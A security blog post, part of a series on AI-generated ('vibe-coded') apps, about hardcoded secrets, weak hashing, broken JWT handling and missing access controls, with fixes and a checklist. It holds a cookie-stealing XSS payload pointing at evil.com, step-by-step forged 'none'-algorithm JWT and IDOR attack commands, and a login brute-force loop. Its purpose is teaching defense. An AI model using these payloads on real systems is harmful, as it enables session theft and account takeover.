Vibe Coding Security Series
- What Is Vibe Coding Security? A Field Guide for 2026
- The OWASP Top 10 for Vibe-Coded Applications
- Anatomy of a Vibe Coding Breach: Lessons from 2026’s Worst Incidents
- The Dependency Trap: Supply Chain Risks in AI-Generated Code
- Authentication & Secrets: What AI Gets Wrong Every Time (you are here)
- [Scanning Vibe-Coded Apps: Why Traditional SAST/DAST Falls Short] (https://simonroses.com/2026/05/scanning-vibe-coded-apps-why-traditional-sast-dast-falls-short-part-6/)
- Prompt Engineering for Secure Code (coming soon)
- The Founder’s Security Checklist (coming soon)
- Securing the AI Coding Pipeline (coming soon)
- The Future of Vibe Coding Security (coming soon)
Read Time: 22 minutes
TL;DR
Authentication and secrets management is where AI-generated code fails most consistently and most dangerously. In 67 lines of a demo app I built for a security conference, the AI produced hardcoded JWT secrets, MD5 password hashing, tokens that never expire, XSS vulnerabilities, and zero rate limiting — all in a working application that looks completely normal to a non-security person. GitGuardian found 29 million hardcoded secrets on GitHub in 2025, a 34% year-over-year jump, with AI-assisted commits leaking secrets at more than double the rate of human-written code. Inigra’s Q1 2026 audit of over 200 vibe-coded applications found that 91.5% contained at least one security vulnerability traceable to AI-generated code. And when Lovable — one of the biggest vibe coding platforms — got hit with a BOLA vulnerability in April 2026, five API calls from a free account were enough to access any other user’s source code, database credentials, and customer data. This post dissects the four patterns that AI gets wrong every single time — hardcoded secrets, client-side auth, broken JWT handling, and missing access controls — and ends with a 20-item checklist you can run against your app right now.
Why Auth Is Where It Breaks
You can ship a vibe-coded app with a CSS bug and nobody gets hurt. Ship it with a broken authentication flow, and everything behind the login is exposed. Auth isn’t just another feature — it’s the boundary between “my data” and “everyone’s data.” And it’s the thing AI coding tools handle worst.
It comes down to training data. AI models learned to code from public repositories, Stack Overflow answers, and tutorials. Those examples simplify authentication for clarity: hardcoded secrets so the reader can focus on the JWT logic, MD5 hashing because the tutorial isn’t about password security, no token expiration because it’s a demo. When a vibe coder prompts “add user authentication to my app,” the AI reproduces these patterns — not because it’s stupid, but because that’s what most of its training examples look like.
The code works. The login form appears. The JWT authenticates. The protected routes reject unauthenticated users. Every functional test passes. And any attacker with browser DevTools can walk right through it.
At VULNEX, authentication is the first thing we check in every assessment. In vibe-coded applications, it’s where we find the most critical issues — and it’s where five minutes of review would have prevented the most damage.
QuickNote: 67 Lines of AI-Generated Insecurity
To show this at a security conference, I built a demo. I prompted an AI coding tool to create a note-taking app — user registration, login, CRUD operations. Simple full-stack app, Node.js and Express. The prompt ended with something every vibe coder has thought at some point: “Skip security best practices for now — I’ll review them later.”
The AI generated 67 lines of backend code and 49 lines of frontend. A working app. Clean structure. You could demo it and it would look professional. What follows is what it actually produced — and every vulnerability here is something I find in real production vibe-coded applications.
The Hardcoded Secret
const SECRET = "insecure_secret_key";
Line 19. The JWT signing secret — the single piece of data that prevents anyone from forging authentication tokens — is a hardcoded string sitting in the source code. Not an environment variable. Not a secrets manager. A string literal, visible in the source, that would survive into version control, Docker images, and deployment bundles.
If you know this string, you can generate valid JWT tokens for any user. Full account takeover, no password required.
The fix:
const SECRET = process.env.JWT_SECRET; // loaded from environment, never in source
One line. That’s the difference between “anyone can forge tokens” and “tokens are cryptographically secure.” The value comes from a .env file (which is in .gitignore) or a secrets manager in production.
The Broken Hash
function hashPassword(password) {
return crypto.createHash('md5').update(password).digest('hex');
}
MD5. No salt. Every instance of the password “admin123” produces the same hash across every user, every time. Rainbow table attacks crack these in seconds. MD5 has been considered broken for password hashing since the mid-2000s. But it shows up in AI-generated code constantly, because it’s simple and it appeared in thousands of tutorials the model trained on.
The AI picked the approach from the tutorial, not the approach from production.
The fix:
const bcrypt = require('bcrypt');
async function hashPassword(password) {
return bcrypt.hash(password, 12); // per-user salt, 12 rounds
}
bcrypt generates a unique salt per user automatically and is deliberately slow — that slowness is the point. How slow? MD5 hashes a password in roughly one microsecond (0.000001 seconds) in Node.js. bcrypt at 12 rounds takes about 0.3 seconds. That’s a 300,000x difference. A password database of 10,000 users hashed with MD5 — no salt, so you only need to hash each candidate password once — can be fully cracked against the rockyou.txt wordlist (14.3 million entries) in under a minute. The same database with bcrypt? Each user has a unique salt, so you rehash all 14.3 million candidates per user. On a 10-core CPU, that’s roughly 136 years. GPU-based cracking rigs shorten this significantly — but even a high-end GPU cluster brings it down to years, not minutes. That’s the math behind “use bcrypt.”
The Immortal Token
const token = jwt.sign({ id: user.id, username: user.username }, SECRET);
No expiration. This JWT is valid forever. Once issued, it never needs to be refreshed. If it’s intercepted, stolen, or leaked, it provides permanent access to the account. No expiresIn parameter. No refresh token mechanism. No way to invalidate a compromised session.
The fix:
const token = jwt.sign(
{ id: user.id, username: user.username },
process.env.JWT_SECRET,
{ expiresIn: '1h' } // token dies in one hour
);
One option object. That’s what separates “permanent access if stolen” from “one-hour window.”
The XSS Injection Point
notes.innerHTML = data.map(n => `
<li>${n.content}</li>`).join('');
On the frontend, note content is injected directly into the DOM via innerHTML with zero sanitization. Store <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> as a note, and every time the page renders, the script executes. In a multi-user context, this is stored XSS — the most dangerous variant.
The fix:
notes.textContent = ''; // clear safely
data.forEach(n => {
const li = document.createElement('li');
li.textContent = n.content; // textContent escapes HTML automatically
notes.appendChild(li);
});
textContent instead of innerHTML. The browser treats the content as text, not executable markup. No sanitization library needed.
What’s Missing
Beyond what’s in the code, look at what isn’t: no rate limiting on login, no HTTPS enforcement, no CORS configuration, no input validation on the registration endpoint, no password complexity requirements, no account lockout, no logging of auth events.
The rate limiting gap deserves numbers. Without it, an attacker can send login requests as fast as the server responds — easily 100+ per second against a typical Express app. The rockyou.txt wordlist contains 14.3 million passwords. At 100 requests/second, that’s 39 hours to try every single one. But most users pick common passwords: the top 1,000 most common passwords cover roughly 14% of all accounts. At 100 requests/second, those 1,000 attempts take ten seconds. Ten seconds to compromise one in seven accounts — because the AI didn’t add express-rate-limit, a five-line middleware.
Every one of these is a vulnerability. The AI produced all of them in 67 lines. And the app works — which is exactly why nobody catches them until it’s too late.
Pattern 1: Hardcoded Secrets — The Problem at Scale
QuickNote’s const SECRET = "insecure_secret_key" is one line in one demo. The problem is that this exact pattern repeats across millions of repositories.
The Numbers
GitGuardian’s State of Secrets Sprawl 2026 report found 29 million hardcoded secrets on GitHub in 2025 — a 34% year-over-year increase and the largest single-year jump they’ve ever recorded. AI-service credentials specifically surged 81%, with 1.27 million AI-related tokens exposed.
The vibe coding connection is direct: GitGuardian measured that Claude Code-assisted commits leaked secrets at 3.2% compared to 1.5% for the baseline across all public commits — more than double the rate. The AI doesn’t distinguish between “this is a value I should externalize” and “this is a value the code needs.” It puts the API key where the code works, which is inline.
Your .env Isn’t Safe Either
You’d think the fix is simple — put secrets in .env and keep them out of code. But Knostic’s research showed that tools like Cursor and Copilot actively read .env files during context building, effectively exposing secrets to the model’s cloud API. The secret you carefully put in an environment variable gets pulled into the AI’s context window, and can end up reproduced in generated code elsewhere.
So the AI reads your secrets from .env, and then hardcodes them into the next file it generates. The pattern feeds itself.
It gets worse at deployment. AI tools frequently generate Dockerfiles that copy the entire project directory into the image, including .env:
COPY . /app # copies everything, including .env
RUN npm install
Even if you later delete .env inside the container, Docker images are layered. The file persists in the earlier layer. Anyone who pulls the image can extract it:
docker history --no-trunc
<image>
docker save
<image> | tar -xf - -C /tmp/layers
# grep through layers for secrets
grep -r "API_KEY\|SECRET\|DATABASE_URL" /tmp/layers/
The fix is a .dockerignore file that excludes .env, node_modules, and any other sensitive files — and passing secrets at runtime via Docker secrets or environment injection. But AI-generated Dockerfiles almost never include a .dockerignore. They optimize for “build succeeds,” not “build is secure.”
Real Consequences
In March 2026, a developer got an $82,314 bill after a Google API key embedded in their website’s frontend JavaScript was stolen. The key was originally created for Google Maps — low-risk, public by design. But when Google launched Gemini, existing Maps keys silently gained access to Gemini endpoints. Attackers found the exposed key, automated requests against Gemini Pro, and ran up $82K in 48 hours. The developer’s normal monthly spend was $180. This is the exact pattern vibe-coded apps reproduce at scale: API keys embedded in client-side JavaScript, visible to anyone who opens the page source.
And leaked secrets don’t get cleaned up. GitGuardian found that 64% of secrets detected in 2022 were still valid and unrevoked in 2026. When an AI puts a key in your frontend bundle and that bundle ships to a CDN, the key is public forever — unless you revoke and rotate, which most teams don’t.
What to Check
Run Gitleaks or TruffleHog against your codebase right now. Search for hardcoded strings that look like API keys, database connection strings, or JWT secrets. Check your frontend bundle — anything in client-side JavaScript is public. If you find secrets, revoke them immediately, rotate to new credentials, and move them to environment variables or a secrets manager.
Pattern 2: Client-Side Authentication — The Unlocked Door
The Pattern
This is the Enrichlead pattern from Part 3 at industrial scale. AI coding tools consistently place authentication and authorization checks in frontend code where they’re trivially bypassed. The paywall is a conditional render in React. The admin panel is hidden by a CSS class. The API endpoint exists and works — the frontend just doesn’t show the button to unauthenticated users.
The Data
Wiz’s research on vibe-coded applications identified four systemic misconfiguration patterns, and client-side authentication led the list. Their findings: AI tools generate auth logic that optimizes for the user experience — showing and hiding UI elements — without implementing corresponding server-side enforcement. The result is applications where every protected feature is one curl command away from being accessed by anyone.
Inigra’s Q1 2026 audit of over 200 vibe-coded applications found that 91.5% contained at least one security vulnerability traceable to AI-generated code, with over 60% exposing hardcoded credentials. The Lovable platform — one of the most popular vibe coding tools, valued at $6.6 billion with eight million users — was at the center of multiple security incidents in early 2026, with researchers finding that over 170 apps built on the platform had Supabase tables queryable by anyone holding the public anon key.
A significant portion of these involved Supabase misconfigurations. Here’s what typical AI-generated Supabase code looks like:
-- What the AI generates (WRONG):
CREATE TABLE notes (
id SERIAL PRIMARY KEY,
user_id UUID REFERENCES auth.users,
content TEXT
);
-- No RLS policy. Any authenticated user can read/write all rows.
-- With the anon key, even unauthenticated users can access the table.
-- What it should generate:
CREATE TABLE notes (
id SERIAL PRIMARY KEY,
user_id UUID REFERENCES auth.users,
content TEXT
);
ALTER TABLE notes ENABLE ROW LEVEL SECURITY;
CREATE POLICY "Users can only access their own notes"
ON notes FOR ALL
USING (auth.uid() = user_id)
WITH CHECK (auth.uid() = user_id);
Four lines of SQL. That’s the difference between “anyone can read your database” and “users can only see their own rows.” The AI skips ENABLE ROW LEVEL SECURITY and the policy because it doesn’t need them for the code to work. The Supabase anon key, which is designed to be public, often gets confused with the service_role key, which absolutely must not be public. The AI doesn’t know the difference. It uses whichever key makes the code work.
Why AI Does This
The AI optimizes for what you asked. “Add authentication to my app” means “show a login screen and protect the routes.” The AI delivers exactly that — on the frontend. It doesn’t spontaneously add server-side middleware, because you didn’t ask for middleware. It doesn’t implement RBAC, because you asked for authentication, not authorization. It produces the minimum viable implementation of what you described, and the minimum viable implementation of “authentication” is a client-side check.
This is the invisible decision surface from the Field Guide. The AI decided where to put the auth check, decided not to add server-side validation, decided to use the anon key instead of implementing proper RLS policies. The developer never saw any of those decisions. The app worked, so they moved on.
What to Check
Open your browser’s network tab. Can you make API requests directly, bypassing the frontend? If your API returns data without validating a server-side session or token, your auth is client-side only. Test every endpoint — not just the ones the UI exposes. Try accessing admin endpoints as a regular user. Try accessing other users’ data by modifying IDs in requests. If any of these work, you have a client-side auth problem.
Pattern 3: Broken JWT & Session Management
The Standard Failures
JWT is the default auth mechanism for AI-generated code. The AI reaches for it because it’s stateless, well-documented, and appears in thousands of training examples. But the implementations are consistently broken in the same ways:
No expiration. The QuickNote example sets no expiresIn parameter. The token is valid forever. I see this in roughly half the vibe-coded applications I review — the AI generates the jwt.sign() call and doesn’t add the expiry option because the tutorial it learned from didn’t include one.
Weak or hardcoded signing secrets. “secret”, “my_jwt_secret”, “insecure_secret_key” — these show up verbatim in production applications. The AI pulls them from its training data, where they were placeholder values in documentation. A weak signing secret means anyone can forge tokens.
The “none” algorithm. JWT supports an algorithm called none that produces unsigned tokens — designed for development environments where signature verification adds overhead. AI tools occasionally generate JWT implementations that accept the none algorithm, or that include it in an allowed algorithms array. Here’s how the attack works in practice:
# Step 1: Take a legitimate JWT and split it into its three parts (header.payload.signature)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJ1c2VyIn0.signature_here"
# Step 2: Create a new header with alg set to "none"
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w 0 | tr -d '=' | tr '/+' '_-'
# Output: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# Step 3: Modify the payload (e.g., change user ID to admin's ID)
echo -n '{"id":1,"username":"admin"}' | base64 -w 0 | tr -d '=' | tr '/+' '_-'
# Output: eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9
# Step 4: Concatenate with an empty signature
FORGED="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9."
# Step 5: Use it
curl -H "Authorization: Bearer $FORGED" https://target.com/api/admin/users
Five commands. No secret needed. If the server accepts it, you have full admin access. The fix is to always specify the allowed algorithm explicitly in the verification call — jwt.verify(token, secret, { algorithms: ['HS256'] }) — so the server rejects any token that claims to use a different algorithm.
No token invalidation. AI-generated auth rarely implements token revocation, refresh token rotation, or session invalidation. If a user changes their password, their old tokens still work. If an admin needs to force-logout a user, there’s no mechanism to do it.
OAuth and Social Login: The Deceptive Shortcut
“Add Google login to my app” feels like the safe choice — let Google handle the hard parts. But AI-generated OAuth implementations introduce their own failures. The most common: missing the state parameter (which prevents CSRF attacks on the login flow), skipping PKCE (Proof Key for Code Exchange, now mandatory under OAuth 2.1), and storing access tokens client-side in JavaScript variables or localStorage where any XSS vulnerability can steal them.
The AI generates the OAuth flow that works in the happy path — user clicks “Sign in with Google,” gets redirected, comes back authenticated. But the security properties of OAuth depend on implementation details that the AI consistently omits, because the tutorials it trained on omit them too.
The Compounding Problem
These failures compound. A token that never expires, signed with a guessable secret, using a library that accepts the none algorithm — that’s not one vulnerability, it’s an open door with the key taped to the frame. And because JWT is stateless by design, there’s no server-side session to inspect or revoke. The token is the session. If the token is compromised, the session is compromised until the signing secret itself is rotated, which invalidates every active session for every user.
What to Check
Decode one of your JWTs at jwt.io. Does it have an exp claim? If not, your tokens never expire. Check your signing secret — is it a short, guessable string, or a properly generated key? Test whether your API accepts tokens signed with the none algorithm. And check whether changing a user’s password invalidates their existing tokens.
Pattern 4: Missing Access Controls — When Everyone Is Admin
The Pattern
Even when AI gets authentication right — user can log in, token is validated server-side, session has an expiration — it almost never implements proper authorization. Authentication answers “who are you?” Authorization answers “what are you allowed to do?” AI handles the first question. It ignores the second.
The typical AI-generated app has two roles: logged in and not logged in. That’s it. No admin vs. regular user distinction. No resource-level permissions. No row-level access controls beyond basic “your user ID matches the record’s user ID” checks — and even those are inconsistent.
Insecure Direct Object References (IDOR)
This is the most common access control failure in vibe-coded apps. The API uses sequential integer IDs: /api/notes/1, /api/notes/2, /api/notes/3. The AI generates endpoints that fetch records by ID without verifying that the requesting user owns that record. Here’s the full attack:
# Authenticate as User A (user ID: 42)
TOKEN=$(curl -s -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"email":"usera@test.com","password":"password123"}' \
| jq -r '.token')
# Access User A's own notes — the endpoint fetches notes by user ID
curl -H "Authorization: Bearer $TOKEN" https://target.com/api/users/42/notes
# {"notes": [{"id": 101, "content": "User A's private note"}]}
# Now request User B's notes (user ID: 43) — same token, different user ID in the URL
curl -H "Authorization: Bearer $TOKEN" https://target.com/api/users/43/notes
# {"notes": [{"id": 205, "content": "User B's private note"}]} ← IDOR
Three requests. User A’s token gives access to User B’s notes because the endpoint checks authentication (“is this a valid token?”) but not authorization (“does this token belong to user 43?”). The user ID in the URL controls whose data is returned, and the server never verifies it matches the authenticated user.
The QuickNote app actually gets this one partially right — it scopes the notes query by userId. But many AI-generated apps don’t. And even QuickNote doesn’t prevent a user from modifying or deleting someone else’s notes if they know the note ID, because the update and delete operations (which the AI didn’t even generate — a missing feature that itself is a security gap) wouldn’t necessarily include the ownership check.
Real Case: The Lovable BOLA Breach
In April 2026, security researchers disclosed a Broken Object Level Authorization (BOLA) vulnerability in Lovable — the $6.6 billion vibe coding platform. The /projects/{id}/* API endpoints verified Firebase authentication tokens but skipped ownership checks entirely. Five API calls from a free account were enough to access any other user’s source code, database credentials, AI chat histories, and customer data. Every project created before November 2025 was exposed. Researchers found data from employees at Nvidia, Microsoft, Uber, and Spotify in the accessible projects.
This is Pattern 4 in its purest form. Authentication worked — you needed a valid Firebase token. Authorization was absent — that valid token let you read anyone’s data. The platform left the vulnerability open for 48 days after the initial bug report, closed follow-up reports as duplicates, and initially called the exposed data “intentional behavior.”
The Lovable breach is worth studying because it didn’t happen in someone’s side project. It happened in the platform itself — the tool that millions of vibe coders trust to generate their applications. If the platform can’t get authorization right, what are the odds the apps built on it will?
Why AI Misses This
Authorization is inherently contextual. It depends on business logic — who should see what, who can edit what, what actions require elevated privileges. The AI can’t infer your business rules from a prompt like “build a note-taking app.” It gives you the simplest working implementation: authenticated users can access their own data. Anything more complex — admin roles, team-based access, shared resources with granular permissions — requires explicit design that the vibe coder never specified.
This is one of the places where the gap between “working app” and “secure app” is widest. The app works for every user in isolation. It only breaks when one user tries to access another’s data — a test case that vibe coders almost never run, because they’re testing their own features, not testing against other users.
What to Check
Log in as User A. Try to access User B’s resources by manipulating IDs, parameters, or API paths. If any cross-user access succeeds, you have IDOR. Check whether admin endpoints require an admin role or just a valid token. Check whether sensitive operations (delete account, change email, export data) have additional authorization requirements beyond basic authentication.
The Auth & Secrets Checklist
Run this against your vibe-coded application before you ship. Every item maps back to a pattern above.
Secrets:
- No API keys, tokens, or credentials in source code — run
gitleaks detect --source .ortrufflehog filesystem . - All secrets loaded from environment variables or a secrets manager —
grep -r "const.*=.*['\"]sk-\|key\|secret\|password" src/ - Frontend JavaScript contains zero secrets — inspect your built bundle:
grep -r "API_KEY\|SECRET\|Bearer" dist/ .envfiles are in.gitignore— verify they’ve never been committed:git log --all --diff-filter=A -- '*.env'- Database credentials use least-privilege accounts — not the root/admin connection string
Authentication:
- All auth checks enforced server-side —
curl -X GET https://yourapp.com/api/protectedwithout a token. If it returns data, your auth is broken - Passwords hashed with bcrypt or Argon2 — not MD5, not SHA-256 without salt
- JWT tokens include
expclaim — decode your token at jwt.io and check the payload - JWT signing secret is at least 256 bits of randomness —
node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"generates a proper one - Login endpoint has rate limiting —
for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" -X POST https://yourapp.com/api/login -d '{"email":"test@test.com","password":"wrong"}'; done— if you never get a 429, you have no rate limiting
Authorization:
- Every API endpoint checks user permissions — not just authentication
- Resource access verifies ownership — log in as User A, then `curl -H “Authorization: Bearer ” https://yourapp.com/api/resources/` — if it returns User B’s data, you have IDOR
- Admin functions require admin role — test admin endpoints with a regular user’s token
- Sensitive operations require re-authentication or step-up verification
OAuth (if using social login):
- OAuth flow includes
stateparameter for CSRF protection - PKCE is enabled (check for
code_verifierandcode_challengein the auth request) - Access tokens are stored server-side, not in
localStorageor JavaScript variables
Session Management:
- Tokens expire within a reasonable window (hours, not never)
- Password changes invalidate existing sessions
- A mechanism exists to force-revoke compromised tokens
This isn’t a complete security assessment. But if your vibe-coded app fails any of these 20 items, you have a critical vulnerability that needs fixing before launch. I’ll expand this into a full founder’s checklist in Part 8 of this series.
What You Should Take From This
The QuickNote demo is 67 lines. Your app is probably thousands. Every line of AI-generated authentication code carries the same risks I showed here — hardcoded secrets, client-side checks, broken sessions, missing access controls. The Lovable breach proved this isn’t theoretical. The Enrichlead founder from Part 3 thought he’d review security later. He was shutting down within a week.
Run the checklist above today, not after launch. Every jwt.sign() call, every password hash, every auth middleware the AI produces needs a manual look — is this check happening on the server, is this secret externalized, does this token expire, does this endpoint verify authorization and not just authentication? Those questions take seconds per function, and they’re the difference between a working demo and a secure application.
At VULNEX, auth issues appear in virtually every vibe-coded application we review — and they’re almost always the highest-severity findings. My workflow: run Gitleaks against the repo, check the frontend bundle for exposed keys, test every API endpoint without the frontend, decode the JWTs. I run dependencies through npmscan and cross-reference with Snyk’s vulnerability database — the auth-related libraries are always the first I check.
The AI will build you a login screen that looks professional and works in a demo. Getting it to build authentication that holds up against an actual attacker requires human judgment and the discipline to review before you ship.
As always: trust nothing, verify everything.
- X (Twitter): @SimonRoses
Further Reading
- What Is Vibe Coding Security? A Field Guide for 2026 — Part 1 of this series
- The OWASP Top 10 for Vibe-Coded Applications — Part 2 of this series
- Anatomy of a Vibe Coding Breach: Lessons from 2026’s Worst Incidents — Part 3 of this series
- The Dependency Trap: Supply Chain Risks in AI-Generated Code — Part 4 of this series
- Moltbook: When AI Agents Build Their Own Social Network — Supabase RLS failures in vibe-coded platforms
References
- GitGuardian (2026). The State of Secrets Sprawl 2026.
- Knostic (2025). AI Coding Tools & Secret Leakage: Claude, Cursor, and .env Files.
- Wiz (2026). Common Security Risks in Vibe-Coded Apps.
- Inigra (2026). Lovable Just Proved Everything We Found in Our 600K Line Audit.
- Lovable (2026). Vibe Coding Security: Addressing Vulnerabilities in AI-Generated Applications.
- Breached.Company (2026). Five API Calls From a Free Account: How Lovable Exposed Every Project Built Before November 2025.
- The Next Web (2026). Lovable Security Crisis: 48 Days of Exposed Projects.
- The Register (2026). Dev Stunned by $82K Gemini API Key Bill After Theft.
- Veracode (2026). Spring 2026 GenAI Code Security Update.
- OWASP (2025). JWT Security Cheat Sheet.
- OWASP (2025). Authentication Cheat Sheet.





